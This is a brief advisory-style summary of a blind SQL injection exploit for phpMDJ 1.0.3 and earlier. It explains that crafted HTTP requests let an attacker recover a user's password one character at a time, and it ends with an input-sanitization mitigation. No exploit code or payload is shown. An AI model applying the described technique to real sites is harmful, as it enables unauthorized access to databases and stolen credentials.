phpMDJ <= 1.0.3 Blind SQL Injection Exploit

This exploit allows an attacker to gain access to the database of a vulnerable phpMDJ application. The exploit uses a blind SQL injection vulnerability to extract the password of a given user. The exploit sends a specially crafted HTTP request to the vulnerable application, which then returns a response indicating whether the character at the given position of the user's password is correct or not.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.
